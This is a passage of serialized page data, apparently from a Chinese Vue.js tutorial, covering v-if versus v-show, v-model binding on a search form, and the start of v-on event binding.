的区别？",{"type":18,"tag":210,"props":20952,"children":20953},{},[20954,20959],{"type":18,"tag":158,"props":20955,"children":20956},{},[20957],{"type":24,"value":20958},"v-if：条件不成立，直接不渲染这个元素（不频繁切换的场景）",{"type":18,"tag":158,"props":20960,"children":20961},{},[20962],{"type":24,"value":20963},"v-show：通过 css 样式，来控制元素的展示与隐藏（频繁切换的场景）",{"type":18,"tag":337,"props":20965,"children":20966},{"id":19738},[20967],{"type":24,"value":19738},{"type":18,"tag":210,"props":20969,"children":20970},{},[20971,20987],{"type":18,"tag":158,"props":20972,"children":20973},{},[20974,20978,20980,20985],{"type":18,"tag":105,"props":20975,"children":20976},{},[20977],{"type":24,"value":10999},{"type":24,"value":20979},"：在表单元素上使用，",{"type":18,"tag":105,"props":20981,"children":20982},{},[20983],{"type":24,"value":20984},"双向数据绑定",{"type":24,"value":20986},"。可以方便地获取或设置表单项数据。",{"type":18,"tag":158,"props":20988,"children":20989},{},[20990,20994,20995],{"type":18,"tag":105,"props":20991,"children":20992},{},[20993],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":20996,"children":20998},{"className":20997},[],[20999],{"type":24,"value":21000},"v-model=\"变量名\"",{"type":18,"tag":34,"props":21002,"children":21003},{},[21004],{"type":18,"tag":54,"props":21005,"children":21008},{"alt":21006,"src":21007},"1777879276442","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1777879276442.png",[],{"type":18,"tag":96,"props":21010,"children":21011},{},[21012],{"type":18,"tag":34,"props":21013,"children":21014},{},[21015,21019,21020,21025],{"type":18,"tag":105,"props":21016,"children":21017},{},[21018],{"type":24,"value":1715},{"type":24,"value":222},{"type":18,"tag":74,"props":21021,"children":21023},{"className":21022},[],[21024],{"type":24,"value":19738},{"type":24,"value":21026}," 中绑定的变量，必须在data中定义",{"type":18,"tag":34,"props":21028,"children":21029},{},[21030,21035],{"type":18,"tag":105,"props":21031,"children":21032},{},[21033],{"type":24,"value":21034},"Step1",{"type":24,"value":21036},"：在data中定义模型：",{"type":18,"tag":287,"props":21038,"children":21040},{"className":9608,"code":21039,"language":9610,"meta":8,"style":8},"\u003Cscript type=\"module\">\ncreateApp({\n    data() {\n        return {\n            \u002F\u002F 封装用户输入的查询条件\n            serchForm: {\n                name: \"\",\n                gender: \"\",\n                job: \"\"\n            }\n        }\n    }\n})\n\u003C\u002Fscript>\n",[21041],{"type":18,"tag":74,"props":21042,"children":21043},{"__ignoreMap":8},[21044,21071,21083,21095,21106,21114,21122,21138,21154,21167,21175,21182,21189,21196],{"type":18,"tag":297,"props":21045,"children":21046},{"class":299,"line":300},[21047,21051,21055,21059,21063,21067],{"type":18,"tag":297,"props":21048,"children":21049},{"style":327},[21050],{"type":24,"value":319},{"type":18,"tag":297,"props":21052,"children":21053},{"style":9680},[21054],{"type":24,"value":16468},{"type":18,"tag":297,"props":21056,"children":21057},{"style":304},[21058],{"type":24,"value":12375},{"type":18,"tag":297,"props":21060,"children":21061},{"style":327},[21062],{"type":24,"value":9692},{"type":18,"tag":297,"props":21064,"children":21065},{"style":310},[21066],{"type":24,"value":19381},{"type":18,"tag":297,"props":21068,"children":21069},{"style":327},[21070],{"type":24,"value":335},{"type":18,"tag":297,"props":21072,"children":21073},{"class":299,"line":657},[21074,21079],{"type":18,"tag":297,"props":21075,"children":21076},{"style":304},[21077],{"type":24,"value":21078},"createApp",{"type":18,"tag":297,"props":21080,"children":21081},{"style":327},[21082],{"type":24,"value":19429},{"type":18,"tag":297,"props":21084,"children":21085},{"class":299,"line":662},[21086,21091],{"type":18,"tag":297,"props":21087,"children":21088},{"style":304},[21089],{"type":24,"value":21090},"    data",{"type":18,"tag":297,"props":21092,"children":21093},{"style":327},[21094],{"type":24,"value":19442},{"type":18,"tag":297,"props":21096,"children":21097},{"class":299,"line":799},[21098,21102],{"type":18,"tag":297,"props":21099,"children":21100},{"style":316},[21101],{"type":24,"value":19450},{"type":18,"tag":297,"props":21103,"children":21104},{"style":327},[21105],{"type":24,"value":9806},{"type":18,"tag":297,"props":21107,"children":21108},{"class":299,"line":808},[21109],{"type":18,"tag":297,"props":21110,"children":21111},{"style":5380},[21112],{"type":24,"value":21113},"            \u002F\u002F 封装用户输入的查询条件\n",{"type":18,"tag":297,"props":21115,"children":21116},{"class":299,"line":817},[21117],{"type":18,"tag":297,"props":21118,"children":21119},{"style":327},[21120],{"type":24,"value":21121},"            serchForm: {\n",{"type":18,"tag":297,"props":21123,"children":21124},{"class":299,"line":826},[21125,21130,21134],{"type":18,"tag":297,"props":21126,"children":21127},{"style":327},[21128],{"type":24,"value":21129},"                name: ",{"type":18,"tag":297,"props":21131,"children":21132},{"style":310},[21133],{"type":24,"value":12570},{"type":18,"tag":297,"props":21135,"children":21136},{"style":327},[21137],{"type":24,"value":9296},{"type":18,"tag":297,"props":21139,"children":21140},{"class":299,"line":4524},[21141,21146,21150],{"type":18,"tag":297,"props":21142,"children":21143},{"style":327},[21144],{"type":24,"value":21145},"                gender: ",{"type":18,"tag":297,"props":21147,"children":21148},{"style":310},[21149],{"type":24,"value":12570},{"type":18,"tag":297,"props":21151,"children":21152},{"style":327},[21153],{"type":24,"value":9296},{"type":18,"tag":297,"props":21155,"children":21156},{"class":299,"line":4533},[21157,21162],{"type":18,"tag":297,"props":21158,"children":21159},{"style":327},[21160],{"type":24,"value":21161},"                job: ",{"type":18,"tag":297,"props":21163,"children":21164},{"style":310},[21165],{"type":24,"value":21166},"\"\"\n",{"type":18,"tag":297,"props":21168,"children":21169},{"class":299,"line":4546},[21170],{"type":18,"tag":297,"props":21171,"children":21172},{"style":327},[21173],{"type":24,"value":21174},"            }\n",{"type":18,"tag":297,"props":21176,"children":21177},{"class":299,"line":4555},[21178],{"type":18,"tag":297,"props":21179,"children":21180},{"style":327},[21181],{"type":24,"value":19492},{"type":18,"tag":297,"props":21183,"children":21184},{"class":299,"line":4568},[21185],{"type":18,"tag":297,"props":21186,"children":21187},{"style":327},[21188],{"type":24,"value":17895},{"type":18,"tag":297,"props":21190,"children":21191},{"class":299,"line":4577},[21192],{"type":18,"tag":297,"props":21193,"children":21194},{"style":327},[21195],{"type":24,"value":18799},{"type":18,"tag":297,"props":21197,"children":21198},{"class":299,"line":4590},[21199,21203,21207],{"type":18,"tag":297,"props":21200,"children":21201},{"style":327},[21202],{"type":24,"value":11688},{"type":18,"tag":297,"props":21204,"children":21205},{"style":9680},[21206],{"type":24,"value":16468},{"type":18,"tag":297,"props":21208,"children":21209},{"style":327},[21210],{"type":24,"value":335},{"type":18,"tag":34,"props":21212,"children":21213},{},[21214,21219],{"type":18,"tag":105,"props":21215,"children":21216},{},[21217],{"type":24,"value":21218},"Step2",{"type":24,"value":21220},"：设置表单项",{"type":18,"tag":287,"props":21222,"children":21224},{"className":9608,"code":21223,"language":9610,"meta":8,"style":8},"\u003Cform class=\"search-form\">\n    \u003Clabel for=\"name\">姓名：\u003C\u002Flabel>\n    \u003Cinput type=\"text\" id=\"name\" name=\"name\" v-model=\"searchForm.name\" placeholder=\"请输入姓名\">\n\n    \u003Clabel for=\"gender\">性别：\u003C\u002Flabel>\n    \u003Cselect id=\"gender\" name=\"gender\" v-model=\"searchForm.gender\">\n        \u003Coption value=\"\">\u003C\u002Foption>\n        \u003Coption value=\"1\">男\u003C\u002Foption>\n        \u003Coption value=\"2\">女\u003C\u002Foption>\n    \u003C\u002Fselect>\n\n    \u003Clabel for=\"position\">职位：\u003C\u002Flabel>\n    \u003Cselect id=\"position\" name=\"position\" v-model=\"searchForm.job\">\n        \u003Coption value=\"\">\u003C\u002Foption>\n        \u003Coption value=\"1\">班主任\u003C\u002Foption>\n        \u003Coption value=\"2\">讲师\u003C\u002Foption>\n        \u003Coption value=\"3\">学工主管\u003C\u002Foption>\n        \u003Coption value=\"4\">教研主管\u003C\u002Foption>\n        \u003Coption value=\"5\">咨询师\u003C\u002Foption>\n    \u003C\u002Fselect>\n    \n    \u003Cbutton type=\"button\">查询\u003C\u002Fbutton>\n    \u003Cbutton type=\"button\">清空\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[21225],{"type":18,"tag":74,"props":21226,"children":21227},{"__ignoreMap":8},[21228,21255,21290,21367,21374,21410,21462,21497,21532,21567,21582,21589,21626,21678,21713,21748,21783,21818,21853,21889,21904,21911,21946,21982],{"type":18,"tag":297,"props":21229,"children":21230},{"class":299,"line":300},[21231,21235,21239,21243,21247,21251],{"type":18,"tag":297,"props":21232,"children":21233},{"style":327},[21234],{"type":24,"value":319},{"type":18,"tag":297,"props":21236,"children":21237},{"style":9680},[21238],{"type":24,"value":12325},{"type":18,"tag":297,"props":21240,"children":21241},{"style":304},[21242],{"type":24,"value":13996},{"type":18,"tag":297,"props":21244,"children":21245},{"style":327},[21246],{"type":24,"value":9692},{"type":18,"tag":297,"props":21248,"children":21249},{"style":310},[21250],{"type":24,"value":14005},{"type":18,"tag":297,"props":21252,"children":21253},{"style":327},[21254],{"type":24,"value":335},{"type":18,"tag":297,"props":21256,"children":21257},{"class":299,"line":657},[21258,21262,21266,21270,21274,21278,21282,21286],{"type":18,"tag":297,"props":21259,"children":21260},{"style":327},[21261],{"type":24,"value":12451},{"type":18,"tag":297,"props":21263,"children":21264},{"style":9680},[21265],{"type":24,"value":12799},{"type":18,"tag":297,"props":21267,"children":21268},{"style":304},[21269],{"type":24,"value":14082},{"type":18,"tag":297,"props":21271,"children":21272},{"style":327},[21273],{"type":24,"value":9692},{"type":18,"tag":297,"props":21275,"children":21276},{"style":310},[21277],{"type":24,"value":12398},{"type":18,"tag":297,"props":21279,"children":21280},{"style":327},[21281],{"type":24,"value":14095},{"type":18,"tag":297,"props":21283,"children":21284},{"style":9680},[21285],{"type":24,"value":12799},{"type":18,"tag":297,"props":21287,"children":21288},{"style":327},[21289],{"type":24,"value":335},{"type":18,"tag":297,"props":21291,"children":21292},{"class":299,"line":662},[21293,21297,21301,21305,21309,21313,21317,21321,21325,21329,21333,21337,21342,21346,21351,21355,21359,21363],{"type":18,"tag":297,"props":21294,"children":21295},{"style":327},[21296],{"type":24,"value":12451},{"type":18,"tag":297,"props":21298,"children":21299},{"style":9680},[21300],{"type":24,"value":12370},{"type":18,"tag":297,"props":21302,"children":21303},{"style":304},[21304],{"type":24,"value":12375},{"type":18,"tag":297,"props":21306,"children":21307},{"style":327},[21308],{"type":24,"value":9692},{"type":18,"tag":297,"props":21310,"children":21311},{"style":310},[21312],{"type":24,"value":12384},{"type":18,"tag":297,"props":21314,"children":21315},{"style":304},[21316],{"type":24,"value":14131},{"type":18,"tag":297,"props":21318,"children":21319},{"style":327},[21320],{"type":24,"value":9692},{"type":18,"tag":297,"props":21322,"children":21323},{"style":310},[21324],{"type":24,"value":12398},{"type":18,"tag":297,"props":21326,"children":21327},{"style":304},[21328],{"type":24,"value":12389},{"type":18,"tag":297,"props":21330,"children":21331},{"style":327},[21332],{"type":24,"value":9692},{"type":18,"tag":297,"props":21334,"children":21335},{"style":310},[21336],{"type":24,"value":12398},{"type":18,"tag":297,"props":21338,"children":21339},{"style":304},[21340],{"type":24,"value":21341}," v-model",{"type":18,"tag":297,"props":21343,"children":21344},{"style":327},[21345],{"type":24,"value":9692},{"type":18,"tag":297,"props":21347,"children":21348},{"style":310},[21349],{"type":24,"value":21350},"\"searchForm.name\"",{"type":18,"tag":297,"props":21352,"children":21353},{"style":304},[21354],{"type":24,"value":14156},{"type":18,"tag":297,"props":21356,"children":21357},{"style":327},[21358],{"type":24,"value":9692},{"type":18,"tag":297,"props":21360,"children":21361},{"style":310},[21362],{"type":24,"value":14165},{"type":18,"tag":297,"props":21364,"children":21365},{"style":327},[21366],{"type":24,"value":335},{"type":18,"tag":297,"props":21368,"children":21369},{"class":299,"line":799},[21370],{"type":18,"tag":297,"props":21371,"children":21372},{"emptyLinePlaceholder":793},[21373],{"type":24,"value":796},{"type":18,"tag":297,"props":21375,"children":21376},{"class":299,"line":808},[21377,21381,21385,21389,21393,21397,21402,21406],{"type":18,"tag":297,"props":21378,"children":21379},{"style":327},[21380],{"type":24,"value":12451},{"type":18,"tag":297,"props":21382,"children":21383},{"style":9680},[21384],{"type":24,"value":12799},{"type":18,"tag":297,"props":21386,"children":21387},{"style":304},[21388],{"type":24,"value":14082},{"type":18,"tag":297,"props":21390,"children":21391},{"style":327},[21392],{"type":24,"value":9692},{"type":18,"tag":297,"props":21394,"children":21395},{"style":310},[21396],{"type":24,"value":12761},{"type":18,"tag":297,"props":21398,"children":21399},{"style":327},[21400],{"type":24,"value":21401},">性别：\u003C\u002F",{"type":18,"tag":297,"props":21403,"children":21404},{"style":9680},[21405],{"type":24,"value":12799},{"type":18,"tag":297,"props":21407,"children":21408},{"style":327},[21409],{"type":24,"value":335},{"type":18,"tag":297,"props":21411,"children":21412},{"class":299,"line":817},[21413,21417,21421,21425,21429,21433,21437,21441,21445,21449,21453,21458],{"type":18,"tag":297,"props":21414,"children":21415},{"style":327},[21416],{"type":24,"value":12451},{"type":18,"tag":297,"props":21418,"children":21419},{"style":9680},[21420],{"type":24,"value":13385},{"type":18,"tag":297,"props":21422,"children":21423},{"style":304},[21424],{"type":24,"value":14131},{"type":18,"tag":297,"props":21426,"children":21427},{"style":327},[21428],{"type":24,"value":9692},{"type":18,"tag":297,"props":21430,"children":21431},{"style":310},[21432],{"type":24,"value":12761},{"type":18,"tag":297,"props":21434,"children":21435},{"style":304},[21436],{"type":24,"value":12389},{"type":18,"tag":297,"props":21438,"children":21439},{"style":327},[21440],{"type":24,"value":9692},{"type":18,"tag":297,"props":21442,"children":21443},{"style":310},[21444],{"type":24,"value":12761},{"type":18,"tag":297,"props":21446,"children":21447},{"style":304},[21448],{"type":24,"value":21341},{"type":18,"tag":297,"props":21450,"children":21451},{"style":327},[21452],{"type":24,"value":9692},{"type":18,"tag":297,"props":21454,"children":21455},{"style":310},[21456],{"type":24,"value":21457},"\"searchForm.gender\"",{"type":18,"tag":297,"props":21459,"children":21460},{"style":327},[21461],{"type":24,"value":335},{"type":18,"tag":297,"props":21463,"children":21464},{"class":299,"line":826},[21465,21469,21473,21477,21481,21485,21489,21493],{"type":18,"tag":297,"props":21466,"children":21467},{"style":327},[21468],{"type":24,"value":13410},{"type":18,"tag":297,"props":21470,"children":21471},{"style":9680},[21472],{"type":24,"value":13415},{"type":18,"tag":297,"props":21474,"children":21475},{"style":304},[21476],{"type":24,"value":12473},{"type":18,"tag":297,"props":21478,"children":21479},{"style":327},[21480],{"type":24,"value":9692},{"type":18,"tag":297,"props":21482,"children":21483},{"style":310},[21484],{"type":24,"value":12570},{"type":18,"tag":297,"props":21486,"children":21487},{"style":327},[21488],{"type":24,"value":10600},{"type":18,"tag":297,"props":21490,"children":21491},{"style":9680},[21492],{"type":24,"value":13415},{"type":18,"tag":297,"props":21494,"children":21495},{"style":327},[21496],{"type":24,"value":335},{"type":18,"tag":297,"props":21498,"children":21499},{"class":299,"line":4524},[21500,21504,21508,21512,21516,21520,21524,21528],{"type":18,"tag":297,"props":21501,"children":21502},{"style":327},[21503],{"type":24,"value":13410},{"type":18,"tag":297,"props":21505,"children":21506},{"style":9680},[21507],{"type":24,"value":13415},{"type":18,"tag":297,"props":21509,"children":21510},{"style":304},[21511],{"type":24,"value":12473},{"type":18,"tag":297,"props":21513,"children":21514},{"style":327},[21515],{"type":24,"value":9692},{"type":18,"tag":297,"props":21517,"children":21518},{"style":310},[21519],{"type":24,"value":12774},{"type":18,"tag":297,"props":21521,"children":21522},{"style":327},[21523],{"type":24,"value":14598},{"type":18,"tag":297,"props":21525,"children":21526},{"style":9680},[21527],{"type":24,"value":13415},{"type":18,"tag":297,"props":21529,"children":21530},{"style":327},[21531],{"type":24,"value":335},{"type":18,"tag":297,"props":21533,"children":21534},{"class":299,"line":4533},[21535,21539,21543,21547,21551,21555,21559,21563],{"type":18,"tag":297,"props":21536,"children":21537},{"style":327},[21538],{"type":24,"value":13410},{"type":18,"tag":297,"props":21540,"children":21541},{"style":9680},[21542],{"type":24,"value":13415},{"type":18,"tag":297,"props":21544,"children":21545},{"style":304},[21546],{"type":24,"value":12473},{"type":18,"tag":297,"props":21548,"children":21549},{"style":327},[21550],{"type":24,"value":9692},{"type":18,"tag":297,"props":21552,"children":21553},{"style":310},[21554],{"type":24,"value":12844},{"type":18,"tag":297,"props":21556,"children":21557},{"style":327},[21558],{"type":24,"value":14863},{"type":18,"tag":297,"props":21560,"children":21561},{"style":9680},[21562],{"type":24,"value":13415},{"type":18,"tag":297,"props":21564,"children":21565},{"style":327},[21566],{"type":24,"value":335},{"type":18,"tag":297,"props":21568,"children":21569},{"class":299,"line":4546},[21570,21574,21578],{"type":18,"tag":297,"props":21571,"children":21572},{"style":327},[21573],{"type":24,"value":13597},{"type":18,"tag":297,"props":21575,"children":21576},{"style":9680},[21577],{"type":24,"value":13385},{"type":18,"tag":297,"props":21579,"children":21580},{"style":327},[21581],{"type":24,"value":335},{"type":18,"tag":297,"props":21583,"children":21584},{"class":299,"line":4555},[21585],{"type":18,"tag":297,"props":21586,"children":21587},{"emptyLinePlaceholder":793},[21588],{"type":24,"value":796},{"type":18,"tag":297,"props":21590,"children":21591},{"class":299,"line":4568},[21592,21596,21600,21604,21608,21613,21618,21622],{"type":18,"tag":297,"props":21593,"children":21594},{"style":327},[21595],{"type":24,"value":12451},{"type":18,"tag":297,"props":21597,"children":21598},{"style":9680},[21599],{"type":24,"value":12799},{"type":18,"tag":297,"props":21601,"children":21602},{"style":304},[21603],{"type":24,"value":14082},{"type":18,"tag":297,"props":21605,"children":21606},{"style":327},[21607],{"type":24,"value":9692},{"type":18,"tag":297,"props":21609,"children":21610},{"style":310},[21611],{"type":24,"value":21612},"\"position\"",{"type":18,"tag":297,"props":21614,"children":21615},{"style":327},[21616],{"type":24,"value":21617},">职位：\u003C\u002F",{"type":18,"tag":297,"props":21619,"children":21620},{"style":9680},[21621],{"type":24,"value":12799},{"type":18,"tag":297,"props":21623,"children":21624},{"style":327},[21625],{"type":24,"value":335},{"type":18,"tag":297,"props":21627,"children":21628},{"class":299,"line":4577},[21629,21633,21637,21641,21645,21649,21653,21657,21661,21665,21669,21674],{"type":18,"tag":297,"props":21630,"children":21631},{"style":327},[21632],{"type":24,"value":12451},{"type":18,"tag":297,"props":21634,"children":21635},{"style":9680},[21636],{"type":24,"value":13385},{"type":18,"tag":297,"props":21638,"children":21639},{"style":304},[21640],{"type":24,"value":14131},{"type":18,"tag":297,"props":21642,"children":21643},{"style":327},[21644],{"type":24,"value":9692},{"type":18,"tag":297,"props":21646,"children":21647},{"style":310},[21648],{"type":24,"value":21612},{"type":18,"tag":297,"props":21650,"children":21651},{"style":304},[21652],{"type":24,"value":12389},{"type":18,"tag":297,"props":21654,"children":21655},{"style":327},[21656],{"type":24,"value":9692},{"type":18,"tag":297,"props":21658,"children":21659},{"style":310},[21660],{"type":24,"value":21612},{"type":18,"tag":297,"props":21662,"children":21663},{"style":304},[21664],{"type":24,"value":21341},{"type":18,"tag":297,"props":21666,"children":21667},{"style":327},[21668],{"type":24,"value":9692},{"type":18,"tag":297,"props":21670,"children":21671},{"style":310},[21672],{"type":24,"value":21673},"\"searchForm.job\"",{"type":18,"tag":297,"props":21675,"children":21676},{"style":327},[21677],{"type":24,"value":335},{"type":18,"tag":297,"props":21679,"children":21680},{"class":299,"line":4590},[21681,21685,21689,21693,21697,21701,21705,21709],{"type":18,"tag":297,"props":21682,"children":21683},{"style":327},[21684],{"type":24,"value":13410},{"type":18,"tag":297,"props":21686,"children":21687},{"style":9680},[21688],{"type":24,"value":13415},{"type":18,"tag":297,"props":21690,"children":21691},{"style":304},[21692],{"type":24,"value":12473},{"type":18,"tag":297,"props":21694,"children":21695},{"style":327},[21696],{"type":24,"value":9692},{"type":18,"tag":297,"props":21698,"children":21699},{"style":310},[21700],{"type":24,"value":12570},{"type":18,"tag":297,"props":21702,"children":21703},{"style":327},[21704],{"type":24,"value":10600},{"type":18,"tag":297,"props":21706,"children":21707},{"style":9680},[21708],{"type":24,"value":13415},{"type":18,"tag":297,"props":21710,"children":21711},{"style":327},[21712],{"type":24,"value":335},{"type":18,"tag":297,"props":21714,"children":21715},{"class":299,"line":4599},[21716,21720,21724,21728,21732,21736,21740,21744],{"type":18,"tag":297,"props":21717,"children":21718},{"style":327},[21719],{"type":24,"value":13410},{"type":18,"tag":297,"props":21721,"children":21722},{"style":9680},[21723],{"type":24,"value":13415},{"type":18,"tag":297,"props":21725,"children":21726},{"style":304},[21727],{"type":24,"value":12473},{"type":18,"tag":297,"props":21729,"children":21730},{"style":327},[21731],{"type":24,"value":9692},{"type":18,"tag":297,"props":21733,"children":21734},{"style":310},[21735],{"type":24,"value":12774},{"type":18,"tag":297,"props":21737,"children":21738},{"style":327},[21739],{"type":24,"value":20388},{"type":18,"tag":297,"props":21741,"children":21742},{"style":9680},[21743],{"type":24,"value":13415},{"type":18,"tag":297,"props":21745,"children":21746},{"style":327},[21747],{"type":24,"value":335},{"type":18,"tag":297,"props":21749,"children":21750},{"class":299,"line":4607},[21751,21755,21759,21763,21767,21771,21775,21779],{"type":18,"tag":297,"props":21752,"children":21753},{"style":327},[21754],{"type":24,"value":13410},{"type":18,"tag":297,"props":21756,"children":21757},{"style":9680},[21758],{"type":24,"value":13415},{"type":18,"tag":297,"props":21760,"children":21761},{"style":304},[21762],{"type":24,"value":12473},{"type":18,"tag":297,"props":21764,"children":21765},{"style":327},[21766],{"type":24,"value":9692},{"type":18,"tag":297,"props":21768,"children":21769},{"style":310},[21770],{"type":24,"value":12844},{"type":18,"tag":297,"props":21772,"children":21773},{"style":327},[21774],{"type":24,"value":20426},{"type":18,"tag":297,"props":21776,"children":21777},{"style":9680},[21778],{"type":24,"value":13415},{"type":18,"tag":297,"props":21780,"children":21781},{"style":327},[21782],{"type":24,"value":335},{"type":18,"tag":297,"props":21784,"children":21785},{"class":299,"line":4616},[21786,21790,21794,21798,21802,21806,21810,21814],{"type":18,"tag":297,"props":21787,"children":21788},{"style":327},[21789],{"type":24,"value":13410},{"type":18,"tag":297,"props":21791,"children":21792},{"style":9680},[21793],{"type":24,"value":13415},{"type":18,"tag":297,"props":21795,"children":21796},{"style":304},[21797],{"type":24,"value":12473},{"type":18,"tag":297,"props":21799,"children":21800},{"style":327},[21801],{"type":24,"value":9692},{"type":18,"tag":297,"props":21803,"children":21804},{"style":310},[21805],{"type":24,"value":13537},{"type":18,"tag":297,"props":21807,"children":21808},{"style":327},[21809],{"type":24,"value":20463},{"type":18,"tag":297,"props":21811,"children":21812},{"style":9680},[21813],{"type":24,"value":13415},{"type":18,"tag":297,"props":21815,"children":21816},{"style":327},[21817],{"type":24,"value":335},{"type":18,"tag":297,"props":21819,"children":21820},{"class":299,"line":4624},[21821,21825,21829,21833,21837,21841,21845,21849],{"type":18,"tag":297,"props":21822,"children":21823},{"style":327},[21824],{"type":24,"value":13410},{"type":18,"tag":297,"props":21826,"children":21827},{"style":9680},[21828],{"type":24,"value":13415},{"type":18,"tag":297,"props":21830,"children":21831},{"style":304},[21832],{"type":24,"value":12473},{"type":18,"tag":297,"props":21834,"children":21835},{"style":327},[21836],{"type":24,"value":9692},{"type":18,"tag":297,"props":21838,"children":21839},{"style":310},[21840],{"type":24,"value":13575},{"type":18,"tag":297,"props":21842,"children":21843},{"style":327},[21844],{"type":24,"value":20500},{"type":18,"tag":297,"props":21846,"children":21847},{"style":9680},[21848],{"type":24,"value":13415},{"type":18,"tag":297,"props":21850,"children":21851},{"style":327},[21852],{"type":24,"value":335},{"type":18,"tag":297,"props":21854,"children":21855},{"class":299,"line":4633},[21856,21860,21864,21868,21872,21877,21881,21885],{"type":18,"tag":297,"props":21857,"children":21858},{"style":327},[21859],{"type":24,"value":13410},{"type":18,"tag":297,"props":21861,"children":21862},{"style":9680},[21863],{"type":24,"value":13415},{"type":18,"tag":297,"props":21865,"children":21866},{"style":304},[21867],{"type":24,"value":12473},{"type":18,"tag":297,"props":21869,"children":21870},{"style":327},[21871],{"type":24,"value":9692},{"type":18,"tag":297,"props":21873,"children":21874},{"style":310},[21875],{"type":24,"value":21876},"\"5\"",{"type":18,"tag":297,"props":21878,"children":21879},{"style":327},[21880],{"type":24,"value":20537},{"type":18,"tag":297,"props":21882,"children":21883},{"style":9680},[21884],{"type":24,"value":13415},{"type":18,"tag":297,"props":21886,"children":21887},{"style":327},[21888],{"type":24,"value":335},{"type":18,"tag":297,"props":21890,"children":21891},{"class":299,"line":4641},[21892,21896,21900],{"type":18,"tag":297,"props":21893,"children":21894},{"style":327},[21895],{"type":24,"value":13597},{"type":18,"tag":297,"props":21897,"children":21898},{"style":9680},[21899],{"type":24,"value":13385},{"type":18,"tag":297,"props":21901,"children":21902},{"style":327},[21903],{"type":24,"value":335},{"type":18,"tag":297,"props":21905,"children":21906},{"class":299,"line":4650},[21907],{"type":18,"tag":297,"props":21908,"children":21909},{"style":327},[21910],{"type":24,"value":12715},{"type":18,"tag":297,"props":21912,"children":21913},{"class":299,"line":4658},[21914,21918,21922,21926,21930,21934,21938,21942],{"type":18,"tag":297,"props":21915,"children":21916},{"style":327},[21917],{"type":24,"value":12451},{"type":18,"tag":297,"props":21919,"children":21920},{"style":9680},[21921],{"type":24,"value":14196},{"type":18,"tag":297,"props":21923,"children":21924},{"style":304},[21925],{"type":24,"value":12375},{"type":18,"tag":297,"props":21927,"children":21928},{"style":327},[21929],{"type":24,"value":9692},{"type":18,"tag":297,"props":21931,"children":21932},{"style":310},[21933],{"type":24,"value":13825},{"type":18,"tag":297,"props":21935,"children":21936},{"style":327},[21937],{"type":24,"value":14214},{"type":18,"tag":297,"props":21939,"children":21940},{"style":9680},[21941],{"type":24,"value":14196},{"type":18,"tag":297,"props":21943,"children":21944},{"style":327},[21945],{"type":24,"value":335},{"type":18,"tag":297,"props":21947,"children":21948},{"class":299,"line":4681},[21949,21953,21957,21961,21965,21969,21974,21978],{"type":18,"tag":297,"props":21950,"children":21951},{"style":327},[21952],{"type":24,"value":12451},{"type":18,"tag":297,"props":21954,"children":21955},{"style":9680},[21956],{"type":24,"value":14196},{"type":18,"tag":297,"props":21958,"children":21959},{"style":304},[21960],{"type":24,"value":12375},{"type":18,"tag":297,"props":21962,"children":21963},{"style":327},[21964],{"type":24,"value":9692},{"type":18,"tag":297,"props":21966,"children":21967},{"style":310},[21968],{"type":24,"value":13825},{"type":18,"tag":297,"props":21970,"children":21971},{"style":327},[21972],{"type":24,"value":21973},">清空\u003C\u002F",{"type":18,"tag":297,"props":21975,"children":21976},{"style":9680},[21977],{"type":24,"value":14196},{"type":18,"tag":297,"props":21979,"children":21980},{"style":327},[21981],{"type":24,"value":335},{"type":18,"tag":297,"props":21983,"children":21984},{"class":299,"line":4703},[21985,21989,21993],{"type":18,"tag":297,"props":21986,"children":21987},{"style":327},[21988],{"type":24,"value":11688},{"type":18,"tag":297,"props":21990,"children":21991},{"style":9680},[21992],{"type":24,"value":12325},{"type":18,"tag":297,"props":21994,"children":21995},{"style":327},[21996],{"type":24,"value":335},{"type":18,"tag":337,"props":21998,"children":21999},{"id":19755},[22000],{"type":24,"value":19755},{"type":18,"tag":210,"props":22002,"children":22003},{},[22004,22013],{"type":18,"tag":158,"props":22005,"children":22006},{},[22007,22011],{"type":18,"tag":105,"props":22008,"children":22009},{},[22010],{"type":24,"value":10999},{"type":24,"value":22012},"：为 HTML 标签绑定事件（添加事件监听）。",{"type":18,"tag":158,"props":22014,"children":22015},{},[22016,22021],{"type":18,"tag":105,"props":22017,"children":22018},{},[22019],{"type":24,"value":22020},"语法：",{"type":18,"tag":210,"props":22022,"children":22023},{},[22024,22035],{"type":18,"tag":158,"props":22025,"children":22026},{},[22027,22029],{"type":24,"value":22028},"完整写法：",{"type":18,"tag":74,"props":22030,"children":22032},{"className":22031},[],[22033],{"type":24,"value":22034},"v-on:事件名=\"方法名\"",{"type":18,"tag":158,"props":22036,"children":22037},{},[22038,22040],{"type":24,"value":22039},"简写：",{"type":18,"tag":74,"props":22041,"children":22043},{"className":22042},[],[22044],{"type":24,"value":22045},"@事件名=\"方法名\"",{"type":18,"tag":34,"props":22047,"children":22048},{},[22049],{"type":18,"tag":105,"props":22050,"children":22051},{},[22052],{"type":24,"value":18641},{"type":18,"tag":287,"props":22054,"children":22056},{"className":9608,"code":22055,"language":9610,"meta":8,"style":8},"\u003Cdiv id=\"app\">\n    \u003Cbutton type=\"button\" v-on:click=\"search\">查询\u003C\u002Fbutton>\n    \u003Cbutton type=\"button\" @click=\"clear\">清空\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n",[22057],{"type":18,"tag":74,"props":22058,"children":22059},{"__ignoreMap":8},[22060,22087,22136,22185],{"type":18,"tag":297,"props":22061,"children":22062},{"class":299,"line":300},[22063,22067,22071,22075,22079,22083],{"type":18,"tag":297,"props":22064,"children":22065},{"style":327},[22066],{"type":24,"value":319},{"type":18,"tag":297,"props":22068,"children":22069},{"style":9680},[22070],{"type":24,"value":11298},{"type":18,"tag":297,"props":22072,"children":22073},{"style":304},[22074],{"type":24,"value":14131},{"type":18,"tag":297,"props":22076,"children":22077},{"style":327},[22078],{"type":24,"value":9692},{"type":18,"tag":297,"props":22080,"children":22081},{"style":310},[22082],{"type":24,"value":19283},{"type":18,"tag":297,"props":22084,"children":22085},{"style":327},[22086],{"type":24,"value":335},{"type":18,"tag":297,"props":22088,"children":22089},{"class":299,"line":657},[22090,22094,22098,22102,22106,22110,22115,22119,22124,22128,22132],{"type":18,"tag":297,"props":22091,"children":22092},{"style":327},[22093],{"type":24,"value":12451},{"type":18,"tag":297,"props":22095,"children":22096},{"style":9680},[22097],{"type":24,"value":14196},{"type":18,"tag":297,"props":22099,"children":22100},{"style":304},[22101],{"